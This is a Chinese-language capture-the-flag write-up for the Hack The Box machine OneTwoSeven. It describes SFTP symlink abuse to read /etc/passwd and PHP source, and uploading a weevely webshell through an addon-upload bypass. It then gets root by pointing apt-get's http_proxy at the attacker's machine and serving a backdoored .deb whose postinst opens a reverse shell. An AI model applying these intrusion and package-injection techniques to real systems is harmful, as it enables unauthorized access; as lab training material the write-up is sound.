—————— 昨日回顾 ——————
红日安全出品|转载请注明来源
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!(来源:红日安全)
渗透测试 | HTB-Bitlab实战
—————— —————— —————
01
Hack the box Onetwoseven write up
由于之前没有玩过这种类型的靶机,因此踩了很多坑,花了几天时间,终于拿到root权限
02
环境kali+openvpn
本机ip: 10.10.14.37 靶机ip:10.10.10.133
测试连通性
Nmap 查看开放端口
只开了80和22 那么就从80端口入手吧。记录信息:apache+linux
主页面302跳转到index.php查看源代码得到以下信息
Only enable link if access from trusted networks admin/20190212
Added localhost admin/20190214 <li><a id=”adminlink” class=”nav-link disabled” href=”http://onetwoseven.htb:60080/”>Admin</a></li>
不知道有啥用,先留着吧
继续翻阅,发现index.php stats.php和signup.php
注册得到一个账号和密码以及一个很奇怪的url和一个sftp链接。
Username: ots-hYWQ0MmI
Password: deaad42b
http://onetwoseven.htb/~ots-hYWQ0MmI
sftp://onetwoseven.htb
嗯~ 应该要从sftp入手这里我尝试了很多种密码组合账号包括admin Admin ots-hYWQ0MmI
密码包括20190214 20190212 admin等等 最后发现只有他给我们的那个账号可以登录sftp
里面存在一个public_html文件夹,文件夹里有个index.html文件,我尝试一些命令新建了一个test的文件夹
首先我想到的是sftp的漏洞,google百度搜索了一波发现都是6点几的版本 而我们是7.4
接着我查找sftp的使用方法 help
有些是在本机上执行,有些是sftp命令 put和get引起了我的注意 我先把index.html下载了下来,并没有发现什么有用的线索但是我找到了这个目录
/dist/img/abstract-architecture-attractive-988873.jpg
我尝试直接访问他的根目录,可以看到部分文件,但是没有敏感文件
尝试put上传 服务器对php进行了过滤,只要后缀是php的统统forbidden
Php3 php5 php7 phtml .htaccess 00截断全都无果 应该是思路有问题
搜了很久,在论坛看到一个这样的提示
Link 仔细看看help命令,ln -s 创建软链接 大概的意思就是把原主机上的一些文件链接干过来,而我们可以通过这个软链接访问到一些文件
一开始尝试很多姿势都没成功,后来发现需要进入到这个public_html里面
接着我们去访问www
一个一个点进去 全都403了 html里面会自动跳转到我们的页面只有html-admin可以进去
将swp文件下载下来 用vim -r 修复失败 提示不是此用户
……懵了 不管了用notepad++打开看看 调整下可以看到部分代码,但是好像是admin的
这里又卡了好久
后来我想着把index.php链接过来看看,看看里面会不会有些什么东西
成功了,过去看看有啥
果然在页面源代码发现了一些之前看不到的代码
前面不是还有两个php文件吗,也给他软链接过来看看有啥,最后在signup.php发现这个
这不就是我们的密码和用户名的构造吗,通过ip来构造的
同时我发现种种迹象都指向了127.0.0.1 那我们看下这个用户名经过加密后的username和password
很好,我们成功得到了127.0.0.1的用户的账号和密码
ots-yODc2NGQ
f528764d
那么在哪儿可以看到其他的用户?
没错 就是/etc/passwd 我尝试将这个文件也软链接过来
Nice 成功读到这个文件,而且可以看到username和我们构造的一样,还有一些其他的用户
用sftp登录到ots-yODc2NGQ这个用户
拿到user.txt
我用同样的方法将www目录链接到这个用户上看看有没有新发现,并没有发现什么有用的,这时思绪卡了,我将我搜集的信息整理了下
60080这个端口应该是只有本地可以访问的,且为登录页面
账号是ots-admin 密码拿到在线网站破解一下为Homesweethome1
那我们现在要做的就是通过ssh将60080端口转发出来
ssh -L 60080:127.0.0.1:60080
访问本地的60080端口
用我们刚刚得到的账号和密码登录进去 发现上传点和疑似可以文件包含的地方
并不能利用 查看源代码看到他叫 addon-upload.php,且他是通过js过滤提交按钮
尝试上传一个weevely后门试试
报404notfound…… 再看看源码
发现很多源码可以被下载下来
每个都看过去之后我看到了这个ots-man-addon.php文件,这个文件有两个部分,一个是上传一个是下载,并且他是通过以下代码来进行控制的只需要uri里面包含就可以调用下面的功能..
case preg_match
(‘/\/addondownload.php/’,$_SERVER[‘REQUEST_URI’]):
那我们修改上面的请求包
还是没找到…..懵逼,继续看代码,发现了这几句
重写 意思就是把原本ots-man-addon.php中的两个功能重写到upload和download里面
然后自己写一个.htaccess让不希望访问到的网页变成404
猜想他直接没有拆分功能,把ots-man-addon.php全部写到了download里面
构造请求包
成功了!!现在我们只要知道路径就可以连weevely了
找了很久,发现menu.php?addon=addons/ots-fs-backup.php 都在addons后面
访问这个路径得到 看到了我们的1.php
我们拿weevely连一下
成功拿到www权限
找了一圈没有发现flag 估计还要提权..
那怎么进行提权呢?
百度,google搜了一大堆 发现很多都是exp提权,sudo提权啥的,这里应该是不存在exp的
于是尝试从sudo入手
sudo -l
第一部分像转发流量的
第二部分的意思是说你可以不用通过密码就可以执行apt-get的update命令和upgrade命令
把第二部分扔到谷歌
搜到这么一篇文章
利用-o -c可以直接到系统权限
额,看来没这么简单
我们执行一下update和upgrade吧
这里可以看到有个很特别的源
packages.onetwoseven.htb
与此同时我搜到这么一个网站
https://versprite.com/blog/apt-mitm-package-injection/
中间人攻击,我们可以自定义一个backdooring deb的包,让其下载并且更新从而执行我们内嵌好的bash命令
那么怎么让受害者从我们的电脑上下载东西到他的电脑上呢?
apt-update和http_proxy
我们可以把受害者的流量转到我们的端口上
然后在自己/etc/hosts里面添加一条规则 配置packages.onetwoseven.htb 定向到127.0.0.1 这样那边执行update就会从我们的机器上下载
这里需要用到proxy.py
也可以直接下载
https://github.com/abhinavsingh/proxy.py
因为提权中间花了很长时间 所以ip也变了 现在是
监听6666端口 同时在靶机上设置http的出口到我们ip
这里用weevely的后门export http_proxy全局变量是不成功的
所以我干脆重新上了一个马结合python把命令弹过来
然后
export http_proxy=”http://10.10.15.101:6666″
我们可以用apt-get尝试一下
可以看到连接是成功了的
那么现在就是构造恶意的deb包了
可以看到他每次都请求了
/devuan/dists/ascii/main/binary-amd64/目录下的Packages
根据这个
https://versprite.com/blog/apt-mitm-package-injection/
没有samba包 我们随便选一个
Kmod包 先去官网下载一个
下载下来解包
编辑control文件使其为高版本
编辑postinst文件使其为我们的后门命令
打包生成后门deb文件
然后就是Packages文件了我们可以先去官网下载标准的
http://kali.download/kali/dists/kali-rolling/main/binary-amd64/Packages
然后抄下来放到自己网站根目录的
/devuan/dists/ascii/main/binary-amd64/下面
把安装包放/var/www/html/devuan/下面
由于其基于http协议所以肯定要打开apache服务的
接下来在本机监听8888端口,在受害机上执行update和upgrade即可
sudo /usr/bin/apt-get update
sudo /usr/bin/apt-get upgrade
这里也琢磨了一天,因为他连接特别不稳定 所以下载的很慢很慢…..
一度以为是我的包和Packages写错了
后来我换了一个包 用sed这个 同时不是在官网抄的Packages
而是利用了dpkg-scanpackages debs/ >Packages这条命令去写Packages
这是配置文件相关设置,放到相应的路径后
进行update和upgrade
然后就出来了这个,我意识到他我的sed文件以及被他读取到了
但是这个连接还是非常非常的不稳定…
可能是因为多层代理的问题 我一共下了20多次才下下来,然后在安装的时候
成功执行了我们写入的bash命令
监听端口也有了反应,得到了对方的cmd
读取flag为2d380a25a8e3bfc095abd9e691841048
真不容易啊…..
海量安全课程 点击以下链接 即可观看
http://qiyuanxuetang.net/courses/
来源:freebuf.com 2020-03-30 09:56:54 by: Setup
请登录后发表评论
注册